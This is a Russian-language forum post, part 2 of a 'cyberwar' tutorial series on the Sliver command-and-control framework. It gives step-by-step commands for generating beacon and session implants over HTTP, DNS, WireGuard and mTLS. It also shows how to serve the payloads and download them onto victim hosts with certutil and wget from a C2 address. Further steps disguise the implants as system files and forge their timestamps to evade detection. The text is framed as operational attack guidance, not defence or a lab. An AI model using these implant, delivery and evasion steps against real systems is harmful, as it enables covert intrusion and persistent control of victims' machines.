Sliver: Построение системы управления и контроля (C2) во время кибервойны. Часть 2 – Сеансы, маяки и основы имплантации

  • Автор темы Автор темы LeSh1y777
  • Дата начала Дата начала

LeSh1y777

Пользователь
Регистрация
25/9/25
Сообщения
5,682
Репутация
49
Лайки
153
Депозит
-8.95$
banner-12-1024x683.webp

Сессии, маяки и основы имплантации​

Добро пожаловать обратно, кибервоины.

По мере углубления в практическое применение Sliver, во второй части нашей серии мы рассмотрим основы каждой операции управления и контроля (C2): импланты, сеансы связи и маяки. Эти ключевые компоненты обеспечивают Sliver гибкость и эффективность в различных целевых средах. Понимание того, как Sliver обеспечивает связь между атакующим и целью, крайне важно для построения надежной и скрытной инфраструктуры, особенно в условиях напряженных столкновений или враждебной среды.

В основе системы имплантов Sliver лежит её способность генерировать кроссплатформенные полезные нагрузки, ориентированные на Windows, Linux и macOS с поддержкой как 32-битной, так и 64-битной архитектуры. Эти импланты работают в одном из двух режимов: маячковом или сеансовом. Каждый из них имеет свои эксплуатационные последствия: режим маячкового предназначен для скрытности и долговременного сохранения, а сеансовый — для мгновенного и непосредственного управления. Выбор правильного режима в нужный момент может определить, останется ли ваша операция скрытой или будет помечена и локализована.

В режиме маяка имплантаты ведут себя как тихие наблюдатели. После первоначального развёртывания они переходят в спящий режим и активируются только через запланированные интервалы, обычно каждые 10, 30 или 60 секунд, чтобы проверить связь с C2. В эти короткие моменты они отправляют любые собранные данные и получают новые задачи, прежде чем снова погрузиться в спящий режим. Эта модель ограничивает сетевую активность, минимизирует риск обнаружения и идеально подходит для сохранения доступа, не привлекая внимания. Джиттер — это элемент случайности, применяемый к времени проверки, который добавляет ещё один уровень скрытности, предотвращая обнаружимые закономерности в сетевом трафике. Вы можете настроить интервал обратного вызова с помощью аргумента –seconds и применить джиттер с помощью –jitter , что делает имплантат более неуловимым и непредсказуемым.



1-beacon-help-menu-on-sliver-1024x463.webp



Импланты-маяки в Sliver могут создаваться по различным транспортным протоколам, включая HTTP(S), DNS, mTLS, именованные каналы и WireGuard. Каждый из них имеет свои недостатки в плане скрытности, надежности и сложности настройки. Например, HTTP-маяки быстро разворачиваются и гибки, но могут быть перехвачены традиционными системами обнаружения вторжений. DNS-маяки, с другой стороны, чрезвычайно полезны в средах с жесткими ограничениями, где разрешен только DNS-трафик, хотя они по своей природе медленнее и менее надежны. Импланты на основе WireGuard используют временные VPN-туннели для обеспечения скрытности и изоляции трафика, в то время как mTLS обеспечивает взаимную аутентификацию на основе сертификатов между имплантом и сервером, защищая канал C2 от подмены или перехвата. Для каждого типа протокола необходим соответствующий прослушиватель: прослушиватель mTLS для mTLS, прослушиватель HTTP для HTTP, прослушиватель DNS для DNS и так далее.


HTTP-маяк


Для создания импланта-маяка Sliver предоставляет простой синтаксис. Например, HTTP-маяк, предназначенный для Linux-системы с джиттером и коротким интервалом обратного вызова, можно создать с помощью:


sliver > сгенерировать маяк –http –os linux –arch 386 –format elf –jitter 4 –seconds 5 –save /root/web/http_beacon

Затем настройте прослушиватель для этого маяка:


sliver > http



2-generating-a-beacon-for-linux-1024x143.webp



Приведённая выше команда генерирует двоичный файл ELF, совместимый с 32-битными системами Linux. Здесь –jitter устанавливает время задержки обратного вызова от импланта, которое будет меняться в зависимости от значения, а –seconds позволяет задать интервал времени обратного вызова. Значение по умолчанию для –seconds равно 60, что означает, что каждые шестьдесят секунд мы будем получать обратный вызов для проверки или вывода результатов нашей команды.

После успешного развёртывания вы заметите установленное соединение. Это означает, что развёртывание прошло успешно, и целевой объект теперь активно взаимодействует. На этом этапе вы можете использовать команду beacons для получения списка всех активных маяков. Это позволяет отслеживать и взаимодействовать с системами, которые успешно подключились.



3-listing-beacons-in-sliver.webp



Крайне важно сопоставить правильную архитектуру с целевой средой. Для этого используйте uname -m на жертве Linux, чтобы получить строку архитектуры.



4-listing-arch-info-on-linux.webp



Или systeminfo на хосте Windows, чтобы определить, работаете ли вы с 32- или 64-разрядной установкой.



5-listing-arch-info-on-windows.webp



Несоответствие сделает ваш имплант бесполезным, поэтому вам следует обратиться к таблице ниже.



6-arch-cheatsheet.webp



Хотя эта таблица в первую очередь предназначена для Linux, её можно использовать и для Windows. Для 62-битных систем Windows используйте amd64 , а для 32-битных — 386. Информацию о вашем хосте можно найти в разделе «systeminfo».

Создание DNS-маяков происходит по схожей схеме, но с большей сложностью эксплуатации. Имплант будет взаимодействовать, внедряя зашифрованные данные в DNS-запросы, что требует наличия настроенного и работающего DNS-прослушивателя в вашей инфраструктуре C2. Например:

sliver > сгенерировать маяк –dns <c2.cyber.cossacks> –seconds 10 –jitter 0 –save /tmp/dns.exe



7-generating-a-dns-beacon-with-sliver.webp



Это создаст DNS-маяк Windows, который будет проверяться каждые 10 секунд. Поскольку взаимодействие через DNS нестабильно, мы не рекомендуем использовать его без крайней необходимости.

Импланты на базе WireGuard предлагают ещё один уровень обхода защиты, инкапсулируя весь обмен данными в туннеле WireGuard, который существует только временно, во время проверок маяками. После завершения обмена данными туннель разрывается. Имплант включает в себя всю необходимую криптографическую конфигурацию:

sliver > сгенерировать маяк –wg <C2_IP> –os linux –arch amd64 –format elf –save /root/web/wg_beacon.exe



8-generating-a-wireguard-beacon-with-sliver.webp



Маяк MTLS

Аналогичным образом, импланты mTLS проводят зашифрованные проверки подлинности через взаимно аутентифицированные сеансы TLS, гарантируя, что имплант и сервер смогут проверить подлинность друг друга перед обменом данными. Этот режим обеспечивает высокую степень безопасности и рекомендуется для чувствительных сред:

sliver > сгенерировать маяк –mtls <C2_IP> –os windows –arch amd64 –format exe



9-generating-an-mtls-beacon-with-sliver.webp



После запуска маяка вы можете преобразовать его в полностью интерактивный сеанс с помощью интерактивной команды:

sliver (http-beacon) > интерактивный



10-getting-a-beacon-connection.webp



Это инициирует сеанс связи в режиме реального времени, при этом исходный маяк остаётся нетронутым. Двухрежимная функциональность позволяет операторам гибко повышать уровень доступа в зависимости от текущих операционных потребностей и ограничений безопасности.

В то время как маяки отличаются скрытностью и долговременной устойчивостью, сеансы обеспечивают мгновенный доступ и необработанные возможности. Когда имплант Sliver переходит в режим сеанса, он поддерживает постоянное, постоянное соединение с вашим C2. Сеанс ведёт себя как полнофункциональная удалённая оболочка, позволяя выполнять команды в режиме реального времени, передавать файлы, делать снимки экрана, перенаправлять порты, внедрять процессы и многое другое. Сеансы могут создаваться по тем же транспортным протоколам: HTTP, DNS, WireGuard и mTLS. Синтаксис их развёртывания аналогичен синтаксису развёртывания маяков:

sliver > generate –mtls <C2_IP> –os windows –arch amd64 –format exe –save /root/web/session.exe



11-generating-an-mtls-session.webp



Эти сеансы остаются активными до тех пор, пока соединение не будет намеренно закрыто или прервано средой. Однако их непрерывный характер создаёт постоянные сетевые сигнатуры, увеличивает риск обнаружения и часто приводит к появлению журналов, особенно при наличии антивируса или средств обнаружения конечных точек. Короче говоря, сеансы создают шум, и, хотя они эффективны для немедленной реакции после использования уязвимости, их следует использовать осторожно.



12-listing-sessions.webp



Команда sessions позволяет отобразить все активные сеансы. Это обеспечивает полное представление текущих доступных идентификаторов сеансов, позволяя управлять текущим доступом, взаимодействовать с конкретными целями и выполнять команды по мере необходимости в контексте каждого сеанса.

После генерации полезной нагрузки следующим логичным шагом станет её доставка. Самый простой способ — раздать её с вашего компьютера, используя встроенный HTTP-сервер Python. В том же каталоге, где находится сгенерированный Sliver имплант, вы можете развернуть простой веб-сервер:

c2 > python3 -m http.server

Или используя определенный порт

c2 > python3 -m http.server 443



13-hosting-a-python-http-server.webp



При размещении полезной нагрузки транспортировка зависит от операционной системы цели. В Windows для загрузки импланта можно использовать certutil.exe . Это встроенная утилита, которая с меньшей вероятностью будет заблокирована политикой по умолчанию. Команда выглядит следующим образом:

PS > certutil.exe -urlcache -split -f http://<C2_IP>:8000/spoolsvc.exe C:\Windows\Temp\spoolsvc.exe

В Linux утилита wget обычно доступна и может использоваться аналогичным образом:

цель > wget http://<C2_IP>:8000/systemd-bod -O /lib/systemd/systemd-bod

цель > chmod +x /lib/systemd/systemd-bod




14-downloading-the-payload.webp



Примечание об имплантатах

После создания имплантов тщательно их организуйте. Храните полезные данные в каталогах, разделённых по ОС и архитектуре, и всегда называйте их, используя подходящие по контексту, благозвучные имена файлов. Если вы планируете размещать исполняемые файлы в системных каталогах, таких как System32 или /lib , убедитесь, что их имена и атрибуты соответствуют именам и атрибутам исходных файлов. Подмена временных меток крайне важна, чтобы избежать подозрений. В Sliver для этого предусмотрена команда chtimes :

sliver (сеанс) > chtimes file.exe “2024-01-02 12:00:00” “2024-01-02 12:00:00”




15-modifying-the-timestamp-of-the-payload-with-sliver.webp



Это обновит отметки времени доступа и изменения, чтобы они соответствовали существующим системным файлам, помогая вам оставаться скрытым на виду.

Понимание различий между режимами маяка и сеанса важно для успешной работы со Sliver. Маяки обеспечивают бесшумную работу, а сеансы — мгновенный запуск. Оба режима занимают своё место в вашем арсенале, и знание того, когда и как их применять, а также выбор правильного протокола — это показатель вашей компетентности. Теперь, когда фундамент для имплантов заложен, мы готовы к эскалации.

В части 3 мы перейдём к повышению привилегий на устройствах Windows, изучив, как использовать существующие инструменты для повышения уровня доступа и установления долгосрочного контроля. Будьте в курсе событий.
 
Назад
Сверху Снизу